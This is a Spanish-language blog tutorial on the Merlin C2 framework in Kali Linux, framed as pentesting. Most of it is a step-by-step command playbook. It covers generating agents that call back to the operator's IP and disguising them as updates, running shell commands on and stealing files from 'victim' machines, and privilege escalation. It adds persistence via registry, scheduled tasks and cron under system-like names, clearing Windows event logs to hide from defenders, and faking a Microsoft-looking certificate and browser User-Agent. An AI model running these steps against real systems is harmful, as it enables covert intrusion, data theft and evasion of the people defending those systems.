Merlin C2 en Kali Linux

 

 https://www.onlinetis.com/es/

Merlin C2 en Kali Linux

Si estás buscando información sobre Merlin en Kali Linux, es probable que te refieras al Merlin C2 (Command & Control), un framework de post-explotación muy potente escrito en Go.

Aquí tienes un resumen rápido de qué es y cómo empezar a usarlo en español:


¿Qué es Merlin C2?

Merlin es un servidor de Mando y Control que utiliza el protocolo HTTP/2 para las comunicaciones. Su principal ventaja es que el tráfico HTTP/2 a menudo pasa desapercibido por las herramientas de inspección de red tradicionales, ya que las peticiones se combinan en un solo flujo cifrado.

Características principales:

  • Comunicación Segura: Utiliza cifrado robusto para los datos que viajan entre el "agente" (la víctima) y el "servidor" (tú).

  • Evasión: Al usar HTTP/2, puede evadir algunos firewalls y sistemas de detección de intrusos (IDS).

  • Multiplataforma: Los agentes pueden ejecutarse en Windows, Linux y macOS.


Cómo instalarlo en Kali Linux

Aunque Merlin no siempre viene preinstalado de forma nativa como nmap o metasploit, instalarlo es sencillo. Generalmente se hace clonando su repositorio o descargando el binario:

  1. Instalar dependencias: Asegúrate de tener Go instalado (sudo apt install golang).

  2. Descargar: Puedes bajar las "Releases" directamente desde su GitHub oficial.

  3. Ejecutar el Servidor:

    Bash
    sudo ./merlinServer-linux-amd64
    

Conceptos Básicos para usarlo

Para que Merlin funcione, necesitas manejar tres componentes:

ComponenteDescripción
ServerEl panel de control donde recibes las conexiones.
ListenerEl puerto y protocolo que "escucha" la llegada de agentes.
AgentEl archivo ejecutable que corre en la máquina objetivo.

Flujo de trabajo típico:

  1. Inicias el Server.

  2. Configuras un Listener (ej. HTTP/2 en el puerto 443).

  3. Generas un Agent configurado con tu dirección IP.

  4. Una vez que el agente se ejecuta en el objetivo, aparecerá una sesión activa en tu consola de Merlin.


Nota de seguridad: Recuerda que estas herramientas deben usarse exclusivamente en entornos controlados, laboratorios de aprendizaje o auditorías de seguridad con autorización previa. El acceso no autorizado a sistemas es ilegal.

 

Vamos a ensuciarnos las manos (en el buen sentido) con la configuración.

Para que Merlin funcione, lo primero que necesitas es un Listener. Piensa en él como la "oreja" que se queda esperando a que el agente (la víctima) lo llame por teléfono.

Aquí tienes los pasos exactos para configurar tu primer Listener HTTP/2:


1. Iniciar el Servidor

Primero, abre tu terminal en la carpeta donde tengas el ejecutable de Merlin y lánzalo:

Bash
sudo ./merlinServer-linux-amd64

Verás que el prompt cambia a algo como Merlin ».

2. Configurar el Listener

Dentro de la consola de Merlin, escribe los siguientes comandos en orden:

  1. Entrar al menú de listeners:

    use listener

  2. Ver las opciones disponibles:

    show

  3. Establecer la IP de tu Kali (tu IP local o pública):

    set Interface 192.168.1.XX (Cambia esto por tu IP real)

  4. Establecer el puerto (el 443 es ideal para simular tráfico web seguro):

    set Port 443

  5. Iniciar el listener:

    run

Tip Pro: Si usas el puerto 443, asegúrate de que no haya otro servicio (como Apache o Nginx) ocupándolo, o Merlin dará error al arrancar.


3. Generar el Agente (El "Payload")

Ahora que la oreja está escuchando, necesitamos crear el archivo que se ejecutará en la otra máquina.

  1. Escribe main para volver al menú principal.

  2. Usa el comando agent o genera uno directamente desde la terminal de Kali (fuera de Merlin) usando merlin-agent.

Ejemplo para generar un agente de Windows desde Merlin:

generate windows amd64 https://TU_IP:443


Resumen de comandos útiles

ComandoAcción
listenersMuestra los listeners activos.
sessionsLista las máquinas que ya has infectado/conectado.
interact [ID]Toma el control de una sesión específica.
helpEl salvavidas cuando no sabes qué sigue.

Generar el agente (el ejecutable que enviarás al objetivo) es el paso crucial. En Merlin, esto se hace mediante el comando generate.

Lo más importante aquí es la Arquitectura (32 o 64 bits) y el Protocolo que configuraste en tu Listener.


1. Generar Agente para Windows (.exe)

Windows es el objetivo más común. Merlin permite crear ejecutables que se comunican por HTTP/2 de forma nativa.

Desde la consola de Merlin:

Bash
Merlin » generate windows amd64 https://TU_IP_KALI:443
  • windows: El sistema operativo.

  • amd64: Arquitectura de 64 bits (usa 386 si el sistema es muy antiguo de 32 bits).

  • https://...: La dirección de tu Listener.

2. Generar Agente para Linux

Si tu objetivo es un servidor o una estación de trabajo Linux, el proceso es idéntico pero cambiando el sistema operativo.

Desde la consola de Merlin:

Bash
Merlin » generate linux amd64 https://TU_IP_KALI:443

¿Dónde queda el archivo generado?

Por defecto, Merlin guarda estos archivos en una carpeta llamada data/temp/ dentro del directorio donde tienes instalado Merlin.

Para sacarlo de ahí y enviarlo:

  1. Abre una nueva terminal en Kali.

  2. Ve a la carpeta: cd /ruta/a/merlin/data/temp/

  3. Verás archivos con nombres largos y aleatorios. Puedes renombrarlos:

    mv archivo_raro.exe actualizacion.exe


Tabla de Arquitecturas Comunes

Si no estás seguro de qué poner después del sistema operativo, usa esta guía:

Sistema ObjetivoComando de Arquitectura
Windows Moderno (64 bits)amd64
Windows Antiguo (32 bits)386
Servidor Linux / Ubuntuamd64
Raspberry Pi / ARMarm o arm64

Un detalle importante: La Evasión

Los agentes generados por defecto pueden ser detectados por antivirus modernos (Windows Defender, por ejemplo). Merlin es excelente en la red, pero el archivo en sí mismo a veces necesita "cariño".

Tip: Si el agente no conecta, prueba a usar herramientas de ofuscación externas o utiliza la función de Merlin para generar el agente como una DLL en lugar de un .exe (usando windows dll en el comando).

 

Aquí es donde Merlin se vuelve realmente interesante. Una vez que el agente se ejecuta en la máquina víctima, el servidor te notificará con un mensaje de "Agent [ID] connected".

A partir de ese momento, la sesión está abierta y lista para que tomes el control. Sigue estos pasos:


1. Ver tus sesiones activas

Lo primero es saber quién se ha conectado y qué número de identificación (ID) tiene.

En la consola de Merlin, escribe:

Bash
sessions

Verás una tabla con el ID, la IP, el Usuario y el Hostname de la víctima.

2. Entrar en la sesión (Interacción)

Para empezar a enviar comandos a una máquina específica, usa el comando interact seguido del ID (por ejemplo, el 1):

Bash
interact 1

El prompt cambiará a algo como Merlin[Agent 1] ».

3. Comandos esenciales de post-explotación

Una vez dentro del agente, tienes un arsenal de herramientas. Aquí los más útiles:

ComandoFunción
infoMuestra detalles profundos del sistema (SO, privilegios, arquitectura).
shellEjecuta un comando directamente en el CMD (Windows) o Terminal (Linux) de la víctima.
downloadDescarga un archivo de la víctima a tu Kali.
uploadSube una herramienta o script desde tu Kali a la víctima.
sleepCambia el tiempo que el agente espera para volver a contactarte (útil para evadir detección).
killCierra la conexión y elimina el proceso del agente en la víctima.

4. Ejemplo práctico: Ejecutar un comando remoto

Si quieres saber quién es el usuario actual en la máquina víctima (suponiendo que es Windows):

Bash
Merlin[Agent 1] » shell whoami

Verás la respuesta después de unos segundos (dependiendo del tiempo de "sleep" que tenga configurado el agente).

5. Cómo salir de la sesión sin cerrarla

Si quieres volver al menú principal para atender a otro agente o crear un nuevo listener sin matar la conexión actual, simplemente escribe:

Bash
main

La sesión seguirá activa en segundo plano y podrás volver a ella con interact cuando quieras.


Un detalle vital: El "Check-in" (Sleep)

Por defecto, los agentes de Merlin no están conectados permanentemente (para no levantar sospechas). "Duermen" y despiertan cada ciertos segundos para preguntar si tienes órdenes.

  • Si quieres rapidez: set sleep 1s (Respuesta casi instantánea, pero más ruidoso para el antivirus/firewall).

  • Si quieres sigilo: set sleep 30s o más.

Tip: Antes de hacer nada pesado, usa el comando info. Si ves que no eres SYSTEM o Administrator en Windows, tu siguiente paso debería ser intentar una Escalada de Privilegios.

 

Mover archivos es una de las tareas más comunes en una auditoría. En Merlin, esto se hace mediante los comandos upload (subir de tu Kali a la víctima) y download (bajar de la víctima a tu Kali).

Para que esto funcione, primero debes estar interactuando con una sesión activa (interact [ID]).


1. Subir archivos (De Kali → Víctima)

Imagina que tienes un script de enumeración o una herramienta de escalada de privilegios en tu carpeta de descargas en Kali y quieres llevarla a la máquina Windows de la víctima.

Sintaxis:

upload /ruta/en/kali/archivo.exe C:\Windows\Temp\nombre_destino.exe

Ejemplo práctico:

Si quieres subir un archivo llamado winPEAS.exe que tienes en tu carpeta personal:

Bash
Merlin[Agent 1] » upload /home/kali/herramientas/winPEAS.exe C:\Users\Public\Documents\run.exe

Tip de Seguridad: Siempre intenta subir archivos a carpetas "amigables" o temporales como C:\Windows\Temp\ o C:\Users\Public\, ya que suelen tener menos restricciones de escritura.


2. Descargar archivos (De Víctima → Kali)

Si encuentras un archivo de configuración, una base de datos o un documento interesante en la máquina objetivo, querrás traerlo a tu equipo para analizarlo.

Sintaxis:

download C:\Ruta\Victima\archivo_interesante.txt /home/kali/donde_guardarlo.txt

Ejemplo práctico:

Para robar el archivo de configuración de una aplicación:

Bash
Merlin[Agent 1] » download C:\inetpub\wwwroot\web.config /home/kali/evidencia/web.config

3. ¿Dónde terminan los archivos descargados?

Si ejecutas download sin especificar una ruta de destino en Kali, Merlin suele guardar los archivos en su propia estructura de carpetas:

  • Busca en la carpeta de instalación de Merlin, bajo la ruta: data/agents/[ID_DEL_AGENTE]/downloads/.


Consejos de Oro para mover archivos:

  1. Cuidado con el tamaño: Merlin usa HTTP/2, que es eficiente, pero si intentas bajar un archivo de 2GB, la conexión podría volverse inestable o el agente podría ser detectado por el alto tráfico.

  2. El factor "Sleep": Recuerda que Merlin no es instantáneo. Si tienes el sleep configurado en 30 segundos, la transferencia no empezará hasta que el agente "despierte" y reciba la orden.

    • Recomendación: Baja el sleep a set sleep 1s antes de empezar la transferencia y súbelo al terminar.

  3. Rutas de Linux: Si la víctima es Linux, recuerda usar barras diagonales (/tmp/archivo) en lugar de las invertidas de Windows (C:\temp\).


¿Qué sigue ahora?

Ya sabes moverte por el sistema y transferir archivos. El siguiente paso lógico en un Pentest real sería la Escalada de Privilegios (pasar de ser un usuario común a ser Administrador o ROOT).

 

Para escalar privilegios, el objetivo es dejar de ser un usuario limitado y convertirte en SYSTEM (en Windows) o root (en Linux). Merlin facilita esto permitiéndote ejecutar comandos de enumeración que buscan "puertas traseras" naturales del sistema.

Aquí tienes cómo empezar a buscar esas debilidades desde tu sesión de Merlin:


1. Enumeración Automática (El primer paso)

Antes de lanzar exploits locos, necesitas saber dónde estás parado. Ejecuta estos comandos dentro de la interacción con el agente (interact [ID]):

  • info: Te dirá si el proceso del agente es de 32 o 64 bits y si tienes privilegios administrativos (fíjate en el campo IsAdmin).

  • shell whoami /priv (Solo Windows): Te muestra qué permisos especiales tienes. Si ves SeImpersonatePrivilege habilitado, estás a un paso de ser SYSTEM usando herramientas como PrintSpoofer.

  • shell net localgroup administrators: Para ver quiénes son los jefes en esa máquina.


2. Buscando "Vectores" de Escalada

La forma más eficiente es subir un script especializado que analice todo el sistema por ti.

En Windows (usando winPEAS):

  1. Descarga winPEASany.exe en tu Kali.

  2. Súbelo a la víctima: upload /home/kali/winPEASany.exe C:\Windows\Temp\wp.exe

  3. Ejecútalo: shell C:\Windows\Temp\wp.exe

  4. ¿Qué buscar? WinPEAS usa colores. Lo que veas en ROJO/AMARILLO es casi seguro una vía para ser Administrador (contraseñas en archivos, servicios mal configurados, etc.).

En Linux (usando LinPEAS):

  1. Sube el script: upload /home/kali/linpeas.sh /tmp/lp.sh

  2. Dale permisos: shell chmod +x /tmp/lp.sh

  3. Ejecútalo: shell /tmp/lp.sh


3. Escalada mediante Procesos (Migración)

A veces, no necesitas un exploit, sino "saltar" a un proceso que ya tenga más poder que el tuyo. Merlin te permite listar procesos:

  • ps: Lista todos los procesos activos.

  • Si ves un proceso que corre como Administrator y tienes los permisos suficientes, podrías intentar inyectar tu agente ahí (aunque esto requiere comandos de shell más avanzados o scripts de PowerShell).


4. El comando "Invoke" (PowerShell)

Si estás en Windows, Merlin puede ejecutar scripts de PowerShell directamente en memoria, lo cual es muy difícil de detectar para los antivirus:

run powershell "Get-Service | Where-Object {$_.Status -eq 'Running'}"

Esto te sirve para buscar servicios con rutas no entrecomilladas (Unquoted Service Paths), que es un fallo clásico de Windows para escalar privilegios.


Resumen de la estrategia:

  1. Enumerar: Usa whoami /all y scripts como PEAS.

  2. Analizar: Busca servicios mal configurados o parches de seguridad faltantes (Kernel exploits).

  3. Ejecutar: Sube el exploit específico y ejecútalo con shell.

Advertencia: Intentar escalar privilegios mediante exploits del Kernel (fallos del sistema operativo) puede causar un "Pantallazo Azul" (BSOD) si algo sale mal. ¡Ten cuidado en sistemas de producción!

 

La persistencia es el "seguro de vida" de un hacker ético o auditor. Sin ella, si el usuario apaga su computadora o reinicia el sistema, pierdes el acceso y tendrías que volver a engañarlo para que ejecute el agente.

En Windows, hay docenas de formas de lograr esto, pero aquí tienes las dos más comunes y efectivas usando Merlin:


1. Persistencia mediante el Registro (Run Key)

Es el método clásico. Consiste en decirle a Windows que cada vez que un usuario inicie sesión, ejecute tu agente.

Pasos desde la interacción con el agente:

  1. Mueve tu agente a una carpeta permanente (no lo dejes en Downloads o Temp si puedes evitarlo).

    shell move C:\Windows\Temp\agente.exe C:\Users\Public\Music\win_update.exe

  2. Crea la entrada en el registro:

    Bash
    shell reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /t REG_SZ /d "C:\Users\Public\Music\win_update.exe" /f
    

Cada vez que ese usuario entre a su PC, tu Listener de Merlin recibirá una nueva conexión automáticamente.


2. Persistencia mediante Tareas Programadas (Scheduled Tasks)

Este método es más profesional porque permite que el agente se ejecute incluso si nadie ha iniciado sesión, o que se reactive cada cierto tiempo (por ejemplo, cada hora).

Comando para crear una tarea que se ejecute al iniciar el sistema:

Bash
shell schtasks /create /tn "SvcUpdate" /tr "C:\Users\Public\Music\win_update.exe" /sc onlogon /rl highest
  • /tn: Nombre de la tarea (pon algo que parezca del sistema).

  • /tr: Ruta del ejecutable.

  • /sc onlogon: Se ejecuta al iniciar sesión.

  • /rl highest: Intenta ejecutarlo con los máximos privilegios posibles.


3. Persistencia en Linux (Cronjobs)

Si tu víctima es Linux, la persistencia más sencilla es usar el "Crontab" (el programador de tareas de Linux).

  1. Sube tu agente a /usr/local/bin/ o un sitio discreto.

  2. Añade una línea al cron:

    Bash
    shell (crontab -l ; echo "@reboot /usr/local/bin/agente_linux &") | crontab -
    

    Esto hará que el agente se lance automáticamente cada vez que el servidor se reinicie.


Resumen de Seguridad y Ética

MétodoNivel de DetecciónDificultad
Registro (Run)Medio (Los antivirus lo vigilan mucho)Muy fácil
Tareas ProgramadasBajo (Parece mantenimiento normal)Fácil
Servicios de WindowsMuy Bajo (El "Santo Grial" de la persistencia)Difícil (Requiere ser Admin)

Un consejo vital: Limpieza (Cleanup)

Como buen auditor, una vez que termines tus pruebas, debes borrar la persistencia. Si dejas una tarea programada o una llave de registro, habrás dejado una vulnerabilidad real en el equipo del cliente.

  • Para borrar la tarea: shell schtasks /delete /tn "SvcUpdate" /f

 

La limpieza (o anti-forense) es la fase final de cualquier auditoría profesional. Si dejas archivos, logs o entradas de registro, no solo eres "ruidoso", sino que dejas la puerta abierta para que otros atacantes reales aprovechen tus herramientas.

Aquí tienes cómo borrar tus huellas en Kali Linux / Merlin antes de retirarte:


1. Eliminar la Persistencia

Lo primero es deshacer los cambios que hicimos para que el agente no se vuelva a conectar.

  • En Windows (Registro):

    shell reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsUpdate" /f

  • En Windows (Tareas Programadas):

    shell schtasks /delete /tn "SvcUpdate" /f

  • En Linux (Cron):

    shell crontab -r (Ojo: esto borra todos los cronjobs del usuario, úsalo con cuidado).


2. Borrar los Archivos Subidos

Debes eliminar los ejecutables, scripts y herramientas que moviste a la máquina víctima.

  • Comando Merlin:

    shell del C:\Users\Public\Music\win_update.exe (Windows)

    shell rm /tmp/lp.sh (Linux)


3. Limpiar los Logs de Eventos (Solo Windows)

Windows registra casi todo lo que haces en el Event Viewer. Si tienes privilegios de Administrador, puedes limpiar estos registros para que el equipo de defensa (Blue Team) no vea tus comandos.

Comando rápido para borrar los logs principales:

Bash
shell wevtutil cl Setup
shell wevtutil cl System
shell wevtutil cl Security
shell wevtutil cl Application

4. El comando "Kill" y Auto-destrucción

Una vez que hayas limpiado el registro y los archivos, es hora de cerrar la conexión del agente de forma elegante.

  • kill: Este comando dentro de la sesión de Merlin le dice al agente que termine su proceso y se cierre. Es mejor que simplemente cerrar la terminal de Kali, ya que cierra el proceso de forma limpia en la víctima.


Resumen del proceso de salida (Checklist)

  1. Mover los archivos descargados a una zona segura en tu Kali.

  2. Borrar las tareas programadas o llaves de registro.

  3. Eliminar los binarios (.exe, .sh, .dll) de la víctima.

  4. Limpiar los logs si tienes permisos de Admin.

  5. Ejecutar kill para terminar la sesión.


Reflexión final sobre Merlin

Has pasado de instalar un servidor C2 a configurar listeners, generar agentes, escalar privilegios, mover archivos y persistir. Merlin es una herramienta increíble por su uso de HTTP/2, lo que la hace muy difícil de detectar a nivel de red comparada con Metasploit.

 

Para que tu servidor de Merlin sea verdaderamente profesional y seguro, no puedes usar los certificados que vienen "de fábrica". Si usas los predeterminados, un analista de seguridad (Blue Team) podría identificar tu tráfico fácilmente porque el certificado diría algo como "Merlin C2 Default".

Vamos a ver cómo generar tus propios certificados TLS/SSL para cifrar la comunicación entre el agente y tu servidor.


1. Generar tus propios Certificados (OpenSSL)

En tu terminal de Kali (fuera de Merlin), puedes crear una clave privada y un certificado que duren, por ejemplo, un año.

Ejecuta este comando:

Bash
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes
  • -nodes: Para que no te pida contraseña cada vez que el servidor arranque.

  • Consejo: Cuando te pregunte el "Common Name (CN)", pon algo que parezca legítimo, como www.microsoft-updates.com o la IP de tu servidor.


2. Configurar Merlin para usar tus Certificados

Una vez que tengas los archivos server.key y server.crt, debes decirle a Merlin que los use en lugar de los suyos.

  1. Inicia el servidor: sudo ./merlinServer-linux-amd64

  2. Ve al menú del listener: use listener

  3. Configura las rutas de tus nuevos archivos:

    Bash
    set CertFile /ruta/a/tu/server.crt
    set KeyFile /ruta/a/tu/server.key
    
  4. Lanza el listener: run

Ahora, cualquier comunicación entre el agente y tú viajará cifrada con tu propia clave, lo que impide que alguien intercepte y lea los comandos.


3. Cambiar el "User-Agent" (Camuflaje de tráfico)

Por defecto, Merlin se identifica en la red con un nombre específico. Para que tu tráfico parezca navegación web normal (como Chrome o Firefox), cambia el User-Agent.

Dentro del listener:

Bash
set UserAgent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"

Con esto, si un administrador de red mira el tráfico, verá lo que parece ser un usuario normal navegando en Google Chrome.


4. Asegurar el acceso al Servidor Merlin

Si estás corriendo Merlin en un VPS (servidor en la nube), cualquier persona que encuentre tu IP podría intentar conectarse a tu panel de control.

  • Usa un Firewall (UFW): Permite solo el puerto del listener (ej. 443) y tu propia IP para SSH.

  • Cambia el puerto del servidor: Si Merlin usa un puerto para su interfaz de control, asegúrate de que no sea el estándar.


Resumen de Seguridad del C2

AcciónBeneficio
Certificados PropiosEvita firmas de detección por defecto y cifra el tráfico.
User-Agent RealCamufla el tráfico como navegación web legítima.
HTTP/2Mezcla tus comandos con otros flujos de datos, dificultando la inspección.

¡Felicidades! Has completado un recorrido completo por el ciclo de vida de un C2 con Merlin. Desde la instalación y el compromiso inicial hasta la persistencia, la limpieza y el endurecimiento del servidor.

Entradas populares de este blog

Hacking y ciberseguridad en kali linux con Fping

Hacking y ciberseguridad en kali linux con atk6-thcping6

Como utilizar Fierce en kali linux